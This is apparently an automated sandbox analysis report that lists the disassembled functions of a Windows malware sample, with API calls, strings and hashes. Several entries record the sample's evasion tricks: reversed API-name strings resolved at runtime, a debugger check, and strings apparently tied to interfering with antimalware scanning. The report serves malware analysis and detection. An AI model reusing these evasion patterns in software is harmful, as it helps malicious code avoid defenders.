Instruction Fuzzy Hash: 7D3170BDA40305BBEB64DF68CC95F6A77B8AF04368F044510EA58DB681DB70A950CBA1

Function 0289432C Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 38filewindowCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001E,?,00000000,?,028943F3,?,?,028F17C8,?,?,028BE7A8,0289655D,028BD30D), ref: 02894365
WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,028943F3,?,?,028F17C8,?,?,028BE7A8,0289655D,028BD30D), ref: 0289436B
GetStdHandle.KERNEL32(000000F5,028943B4,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,028943F3,?,?,028F17C8), ref: 02894380
WriteFile.KERNEL32(00000000,000000F5,028943B4,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,028943F3,?,?), ref: 02894386
MessageBoxA.USER32(00000000,Runtime error at 00000000,Error,00000000), ref: 028943A4

Strings

Error, xrefs: 02894398
Runtime error at 00000000, xrefs: 0289435E, 0289439D

Memory Dump Source

Source File: 00000000.00000002.3446785369.0000000002891000.00000020.00001000.00020000.00000000.sdmp, Offset: 02890000, based on PE: true

Associated: 00000000.00000002.3446769259.0000000002890000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446832196.00000000028BE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446887020.00000000028F2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2890000_UAHIzSm2x2.jbxd

Similarity

API ID: FileHandleWrite$Message
String ID: Error$Runtime error at 00000000
API String ID: 1570097196-2970929446
Opcode ID: fe271414dcffe75aba7719b60decb5f91bfe9b2196639081408e25e351a4e277
Instruction ID: 2ce8129848c4ac31de6221d2e98611a9df36ee2d0123c906b8118d9a5a6b3eb5
Opcode Fuzzy Hash: fe271414dcffe75aba7719b60decb5f91bfe9b2196639081408e25e351a4e277
Instruction Fuzzy Hash: BDF0F07CAC8304BCFE11A274AC0AFD9335C4B44B10F5C0A09B328E89D087A860C5AB2A

Function 0289AE44 Relevance: 10.6, APIs: 7, Instructions: 56filewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 0289ACBC: VirtualQuery.KERNEL32(?,?,0000001C), ref: 0289ACD9
Part of subcall function 0289ACBC: GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 0289ACFD
Part of subcall function 0289ACBC: GetModuleFileNameA.KERNEL32(02890000,?,00000105), ref: 0289AD18
Part of subcall function 0289ACBC: LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 0289ADAE

CharToOemA.USER32(?,?), ref: 0289AE7B
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000,?,?), ref: 0289AE98
WriteFile.KERNEL32(00000000,000000F4,?,00000000,?,00000000,?,?), ref: 0289AE9E
GetStdHandle.KERNEL32(000000F4,0289AF08,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 0289AEB3
WriteFile.KERNEL32(00000000,000000F4,0289AF08,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 0289AEB9
LoadStringA.USER32(00000000,0000FFEA,?,00000040), ref: 0289AEDB
MessageBoxA.USER32(00000000,?,?,00002010), ref: 0289AEF1

Memory Dump Source

Source File: 00000000.00000002.3446785369.0000000002891000.00000020.00001000.00020000.00000000.sdmp, Offset: 02890000, based on PE: true

Associated: 00000000.00000002.3446769259.0000000002890000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446832196.00000000028BE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446887020.00000000028F2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2890000_UAHIzSm2x2.jbxd

Similarity

API ID: File$HandleLoadModuleNameStringWrite$CharMessageQueryVirtual
String ID:
API String ID: 185507032-0
Opcode ID: 45b82c69e6190c6d9fcee0659134bbfbedb63e1bec8cfd462068ee5315687bbb
Instruction ID: 3e73a28074575353351ff68bb198ab1ee81177899a9e4419026034aa4ef83148
Opcode Fuzzy Hash: 45b82c69e6190c6d9fcee0659134bbfbedb63e1bec8cfd462068ee5315687bbb
Instruction Fuzzy Hash: 6C1170BE544204BEDE01FB98CC84F9F77EDAB44340F480A19B754DA0D0EA71E9448B67

Function 0289E50C Relevance: 9.1, APIs: 6, Instructions: 139COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 0289E5A5
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 0289E5C1
SafeArrayCreate.OLEAUT32(0000000C,?,?), ref: 0289E5FA
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 0289E677
SafeArrayPtrOfIndex.OLEAUT32(00000000,?,?), ref: 0289E690
VariantCopy.OLEAUT32(?,00000000), ref: 0289E6C5

Memory Dump Source

Source File: 00000000.00000002.3446785369.0000000002891000.00000020.00001000.00020000.00000000.sdmp, Offset: 02890000, based on PE: true

Associated: 00000000.00000002.3446769259.0000000002890000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446832196.00000000028BE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446887020.00000000028F2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2890000_UAHIzSm2x2.jbxd

Similarity

API ID: ArraySafe$BoundIndex$CopyCreateVariant
String ID:
API String ID: 351091851-0
Opcode ID: 2c879650c84341011691a20226c27d6524aee0beb2559d3f6bcac5042424fc10
Instruction ID: df668d165b0b4943757b4578991e3133c5d79df4e154319c67d44fd53961d20e
Opcode Fuzzy Hash: 2c879650c84341011691a20226c27d6524aee0beb2559d3f6bcac5042424fc10
Instruction Fuzzy Hash: 6E51EA7E9006299BCF22EB58CD80BD9B7BDAB4D304F0841D6E509E7211DA34AF808F65

Function 02893568 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 0289358A
RegQueryValueExA.ADVAPI32(?,FPUMaskValue,00000000,00000000,?,00000004,00000000,028935D9,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 028935BD
RegCloseKey.ADVAPI32(?,028935E0,00000000,?,00000004,00000000,028935D9,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 028935D3

Strings

SOFTWARE\Borland\Delphi\RTL, xrefs: 02893580
FPUMaskValue, xrefs: 028935B4

Memory Dump Source

Source File: 00000000.00000002.3446785369.0000000002891000.00000020.00001000.00020000.00000000.sdmp, Offset: 02890000, based on PE: true

Associated: 00000000.00000002.3446769259.0000000002890000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446832196.00000000028BE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446887020.00000000028F2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2890000_UAHIzSm2x2.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: FPUMaskValue$SOFTWARE\Borland\Delphi\RTL
API String ID: 3677997916-4173385793
Opcode ID: e0ab9e39d8030e228a5d648333c004893531e30b50635a2537bf7f81213e24bb
Instruction ID: bdf2e6707c24d1e50e2c8dc7f6f6276260500264d5c71220309a0fa5eafd6cec
Opcode Fuzzy Hash: e0ab9e39d8030e228a5d648333c004893531e30b50635a2537bf7f81213e24bb
Instruction Fuzzy Hash: B501B57DA44208BAEF12DBD18D42BBD77ECE708B10F5405A5BA04D6680E674A610DA59

Function 028A80C0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 44libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,028A8148,?,?,00000000,00000000,?,028A8061,00000000,KernelBASE,00000000,00000000,028A8088), ref: 028A810D
GetProcAddress.KERNEL32(00000000,Kernel32), ref: 028A8113
GetProcAddress.KERNEL32(?,?), ref: 028A8125

Strings

Kernel32, xrefs: 028A8108
sserddAcorPteG, xrefs: 028A80DB

Memory Dump Source

Source File: 00000000.00000002.3446785369.0000000002891000.00000020.00001000.00020000.00000000.sdmp, Offset: 02890000, based on PE: true

Associated: 00000000.00000002.3446769259.0000000002890000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446832196.00000000028BE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446887020.00000000028F2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2890000_UAHIzSm2x2.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: Kernel32$sserddAcorPteG
API String ID: 667068680-1372893251
Opcode ID: 2f7f1ab0d495390d20aa7346947e0403abab7d5a1a2d645982f5e81c2e5d7372
Instruction ID: fdb7e3b41b161667648583d2858696716968cb9032f53f36fab77941847afa9a
Opcode Fuzzy Hash: 2f7f1ab0d495390d20aa7346947e0403abab7d5a1a2d645982f5e81c2e5d7372
Instruction Fuzzy Hash: B301627CA40308AFFB01EFA8D851E5EB7AEEB49710F554865FA00D7750EA74A9118A21

Function 0289A9D0 Relevance: 7.6, APIs: 5, Instructions: 50threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,0289AA67,?,?,00000000), ref: 0289A9E8

Part of subcall function 0289A744: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 0289A762

GetThreadLocale.KERNEL32(00000000,00000004,00000000,0289AA67,?,?,00000000), ref: 0289AA18
EnumCalendarInfoA.KERNEL32(Function_0000A91C,00000000,00000000,00000004), ref: 0289AA23
GetThreadLocale.KERNEL32(00000000,00000003,00000000,0289AA67,?,?,00000000), ref: 0289AA41
EnumCalendarInfoA.KERNEL32(Function_0000A958,00000000,00000000,00000003), ref: 0289AA4C

Memory Dump Source

Source File: 00000000.00000002.3446785369.0000000002891000.00000020.00001000.00020000.00000000.sdmp, Offset: 02890000, based on PE: true

Associated: 00000000.00000002.3446769259.0000000002890000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446832196.00000000028BE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446887020.00000000028F2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2890000_UAHIzSm2x2.jbxd

Similarity

API ID: Locale$InfoThread$CalendarEnum
String ID:
API String ID: 4102113445-0
Opcode ID: 2cda8d488d612e998fb9bb7a0b63acdfbb0fa470f951eb8a9f946dc98ec1733b
Instruction ID: ffd40770d0002e9ba8d988c8cf985033175b7de6fdbee11075d82f68fbbfa50a
Opcode Fuzzy Hash: 2cda8d488d612e998fb9bb7a0b63acdfbb0fa470f951eb8a9f946dc98ec1733b
Instruction Fuzzy Hash: 1E01DB3D6402546FFF06EA7CCD12F6E739DDB46710F9D0160F610E67C0E5689E108A66

Function 0289AA80 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 148threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,0289AC50,?,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 0289AAAF

Part of subcall function 0289A744: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 0289A762

Strings

ggg, xrefs: 0289AB95
eeee, xrefs: 0289ABBE
yyyy, xrefs: 0289ABA5

Memory Dump Source

Source File: 00000000.00000002.3446785369.0000000002891000.00000020.00001000.00020000.00000000.sdmp, Offset: 02890000, based on PE: true

Associated: 00000000.00000002.3446769259.0000000002890000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446832196.00000000028BE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446887020.00000000028F2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2890000_UAHIzSm2x2.jbxd

Similarity

API ID: Locale$InfoThread
String ID: eeee$ggg$yyyy
API String ID: 4232894706-1253427255
Opcode ID: 66879e4337b009d9dff6165383638e5177ef595d01e422bc7a2f7cbb21334fe8
Instruction ID: cb99d7dfb2215a088ac31e7bf81ab38ad7db8fc71879659affc7024b90cddffa
Opcode Fuzzy Hash: 66879e4337b009d9dff6165383638e5177ef595d01e422bc7a2f7cbb21334fe8
Instruction Fuzzy Hash: E541057C30810D4FEF19EB7C888067EB3EBDB85208B5C4525E556CB344EA79E906CA22

Function 028A8018 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,028A8088,?,?,00000000,?,028A79FE,ntdll,00000000,00000000,028A7A43,?,?,00000000), ref: 028A8056

Part of subcall function 028A80C0: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,028A8148,?,?,00000000,00000000,?,028A8061,00000000,KernelBASE,00000000,00000000,028A8088), ref: 028A810D
Part of subcall function 028A80C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 028A8113
Part of subcall function 028A80C0: GetProcAddress.KERNEL32(?,?), ref: 028A8125

GetModuleHandleA.KERNELBASE(?), ref: 028A806A

Strings

AeldnaHeludoMteG, xrefs: 028A8031
KernelBASE, xrefs: 028A8051

Memory Dump Source

Source File: 00000000.00000002.3446785369.0000000002891000.00000020.00001000.00020000.00000000.sdmp, Offset: 02890000, based on PE: true

Associated: 00000000.00000002.3446769259.0000000002890000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446832196.00000000028BE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446887020.00000000028F2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2890000_UAHIzSm2x2.jbxd

Similarity

API ID: HandleModule$AddressProc
String ID: AeldnaHeludoMteG$KernelBASE
API String ID: 1883125708-1952140341
Opcode ID: 8d48aba0903389f6d7654840ba1d92c057f2b0b6824b886b462efb2b4379b53b
Instruction ID: 49c74fd21dbfd46b1609706105509821034fac63f4848770222b0aa7a86428a9
Opcode Fuzzy Hash: 8d48aba0903389f6d7654840ba1d92c057f2b0b6824b886b462efb2b4379b53b
Instruction Fuzzy Hash: EBF0967C644304AFFB41EFB8DC62D5EBBADF7497007554520FA00D3610EA74AD109A26

Function 028AEFC8 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KernelBase,?,028AF3CC,UacInitialize,028F237C,028BB40C,UacScan,028F237C,028BB40C,ScanBuffer,028F237C,028BB40C,OpenSession,028F237C,028BB40C,ScanString), ref: 028AEFCE
GetProcAddress.KERNEL32(00000000,IsDebuggerPresent), ref: 028AEFE0

Strings

KernelBase, xrefs: 028AEFC9
IsDebuggerPresent, xrefs: 028AEFDA

Memory Dump Source

Source File: 00000000.00000002.3446785369.0000000002891000.00000020.00001000.00020000.00000000.sdmp, Offset: 02890000, based on PE: true

Associated: 00000000.00000002.3446769259.0000000002890000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446832196.00000000028BE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446887020.00000000028F2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2890000_UAHIzSm2x2.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: IsDebuggerPresent$KernelBase
API String ID: 1646373207-2367923768
Opcode ID: 97c49e4b975b41d28026f4cc1005f4e0a8be0a04d01da3abca0ede6bdf2ac2cf
Instruction ID: d804f76521309bed5e8e4e022684475eb84db54ac452410cea6167e4bfa11bdc
Opcode Fuzzy Hash: 97c49e4b975b41d28026f4cc1005f4e0a8be0a04d01da3abca0ede6bdf2ac2cf
Instruction Fuzzy Hash: F9D0127E3553701DBD0036F81CD581D024CCA555697240E70B126D55D3FEAB88511115

Function 0289C3F4 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,028BD10B,00000000,028BD11E), ref: 0289C3FA
GetProcAddress.KERNEL32(00000000,GetDiskFreeSpaceExA), ref: 0289C40B

Strings

GetDiskFreeSpaceExA, xrefs: 0289C405
kernel32.dll, xrefs: 0289C3F5

Memory Dump Source

Source File: 00000000.00000002.3446785369.0000000002891000.00000020.00001000.00020000.00000000.sdmp, Offset: 02890000, based on PE: true

Associated: 00000000.00000002.3446769259.0000000002890000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446832196.00000000028BE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446887020.00000000028F2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2890000_UAHIzSm2x2.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetDiskFreeSpaceExA$kernel32.dll
API String ID: 1646373207-3712701948
Opcode ID: 6b9e82ce3f8b56fdd2f0a2a89870af1edfe2e7119be560244c5742d5a55e5c5b
Instruction ID: c551bb9addbff32a6a6e93fab2e3d52683af30e92e80a92d710ef1867a13caa5
Opcode Fuzzy Hash: 6b9e82ce3f8b56fdd2f0a2a89870af1edfe2e7119be560244c5742d5a55e5c5b
Instruction Fuzzy Hash: 89D05EBCB807104EFF026BB5688167A2788970E346B88D82AE005D5242E7AA44144F51

Function 0289E168 Relevance: 6.1, APIs: 4, Instructions: 115COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 0289E217
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 0289E233
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 0289E2AA
VariantClear.OLEAUT32(?), ref: 0289E2D3

Memory Dump Source

Source File: 00000000.00000002.3446785369.0000000002891000.00000020.00001000.00020000.00000000.sdmp, Offset: 02890000, based on PE: true

Associated: 00000000.00000002.3446769259.0000000002890000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446832196.00000000028BE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446887020.00000000028F2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2890000_UAHIzSm2x2.jbxd

Similarity

API ID: ArraySafe$Bound$ClearIndexVariant
String ID:
API String ID: 920484758-0
Opcode ID: cd7e56306b14da739c94dd26db2064fb48e8dac8868798fc3541503821c87934
Instruction ID: e04b1a8c18c5c8176a5af118a0cfdca3ec040ff0a21466f92985d2f216c65829
Opcode Fuzzy Hash: cd7e56306b14da739c94dd26db2064fb48e8dac8868798fc3541503821c87934
Instruction Fuzzy Hash: 2F41FA7DA002199BCF61EB5CCD90BD9B7BDAB49204F0441D6EA4DE7211DA34AF808F55

Function 0289ACBC Relevance: 6.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 0289ACD9
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 0289ACFD
GetModuleFileNameA.KERNEL32(02890000,?,00000105), ref: 0289AD18
LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 0289ADAE

Memory Dump Source

Source File: 00000000.00000002.3446785369.0000000002891000.00000020.00001000.00020000.00000000.sdmp, Offset: 02890000, based on PE: true

Associated: 00000000.00000002.3446769259.0000000002890000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446832196.00000000028BE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446887020.00000000028F2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2890000_UAHIzSm2x2.jbxd

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: af4601b4d0a7aaf530a9bc507f569643e08058f20f528d2b9bca8b995320656c
Instruction ID: 5d62edce7a1f260d541b9f332616f14557232553f313bf849c6670aab9404c6e
Opcode Fuzzy Hash: af4601b4d0a7aaf530a9bc507f569643e08058f20f528d2b9bca8b995320656c
Instruction Fuzzy Hash: A9410B7CA402589BDF21DB6CCC84BDAB7FDAB08345F0840E5A648E7241DB74AF888F51

Function 0289ACBA Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 0289ACD9
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 0289ACFD
GetModuleFileNameA.KERNEL32(02890000,?,00000105), ref: 0289AD18
LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 0289ADAE

Memory Dump Source

Source File: 00000000.00000002.3446785369.0000000002891000.00000020.00001000.00020000.00000000.sdmp, Offset: 02890000, based on PE: true

Associated: 00000000.00000002.3446769259.0000000002890000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446832196.00000000028BE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446887020.00000000028F2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2890000_UAHIzSm2x2.jbxd

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: ff1e9cc640b56299abc0f1015c6f8a0319f6cf1d7a8f732e69f8f2ba90ed2eed
Instruction ID: bcf4f2dc7d85e397340b429173dc24dd1927a3e2714bf335daede5fc326bf021
Opcode Fuzzy Hash: ff1e9cc640b56299abc0f1015c6f8a0319f6cf1d7a8f732e69f8f2ba90ed2eed
Instruction Fuzzy Hash: 67410D7CA402589BDF21DB6CCC84BDAB7EDAB08345F0840E5A648E7251DB74AF888F51

Function 02891C6C Relevance: 5.3, APIs: 4, Instructions: 330COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3446785369.0000000002891000.00000020.00001000.00020000.00000000.sdmp, Offset: 02890000, based on PE: true

Associated: 00000000.00000002.3446769259.0000000002890000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446832196.00000000028BE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446887020.00000000028F2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2890000_UAHIzSm2x2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ef7b771a3717eb4ecf479238b73ef135969e1738e2a06a2b5d243e5db291318
Instruction ID: 5e65be69963d748dc101b528ffb75af951ae095bfa5500843adc1636c2fdb29e
Opcode Fuzzy Hash: 6ef7b771a3717eb4ecf479238b73ef135969e1738e2a06a2b5d243e5db291318
Instruction Fuzzy Hash: 27A1157E7182060BDF19AA7C9C883ADB3C69BC4325F1C827EE11DCB785EB68C9518751

Function 0289946C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 79threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000004,?,00000000,?,00000100,00000000,0289955A), ref: 028994F2
GetDateFormatA.KERNEL32(00000000,00000004,?,00000000,?,00000100,00000000,0289955A), ref: 028994F8

Strings

yyyy, xrefs: 028994CD

Memory Dump Source

Source File: 00000000.00000002.3446785369.0000000002891000.00000020.00001000.00020000.00000000.sdmp, Offset: 02890000, based on PE: true

Associated: 00000000.00000002.3446769259.0000000002890000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446832196.00000000028BE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446887020.00000000028F2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2890000_UAHIzSm2x2.jbxd

Similarity

API ID: DateFormatLocaleThread
String ID: yyyy
API String ID: 3303714858-3145165042
Opcode ID: 9294ed8c11f868a3442f5d62f1850abbe24f87addad35cd621202bf92913d2bf
Instruction ID: ba049f3bc42aa3b26b8f7bfd5d427e2e643c4586f50ac4e15768deefefdc4a59
Opcode Fuzzy Hash: 9294ed8c11f868a3442f5d62f1850abbe24f87addad35cd621202bf92913d2bf
Instruction Fuzzy Hash: 4321717DA002189FDF11DFA8C851AAEB3F9EF09710F4940A9E949E7250D774DE40CB66

Function 028AAD5C Relevance: 5.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

IsBadReadPtr.KERNEL32(?,00000004), ref: 028AAD90
IsBadWritePtr.KERNEL32(?,00000004), ref: 028AADC0
IsBadReadPtr.KERNEL32(?,00000008), ref: 028AADDF
IsBadReadPtr.KERNEL32(?,00000004), ref: 028AADEB

Memory Dump Source

Source File: 00000000.00000002.3446785369.0000000002891000.00000020.00001000.00020000.00000000.sdmp, Offset: 02890000, based on PE: true

Associated: 00000000.00000002.3446769259.0000000002890000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446832196.00000000028BE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446887020.00000000028F2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2890000_UAHIzSm2x2.jbxd

Similarity

API ID: Read$Write
String ID:
API String ID: 3448952669-0
Opcode ID: a93baf0632f810e868fc304dc02f88cb2819ea7b8e0cd4cec62af5963c9676e9
Instruction ID: e9110f0f27bc6a6b067c6a51e5f89a662f743a47c1601bfa84b134b3bd913c2f
Opcode Fuzzy Hash: a93baf0632f810e868fc304dc02f88cb2819ea7b8e0cd4cec62af5963c9676e9
Instruction Fuzzy Hash: 3E219DBD6412199FEF14DF29CC80BAE73B9EF40365F048115EE94D7680EB38E911DAA0

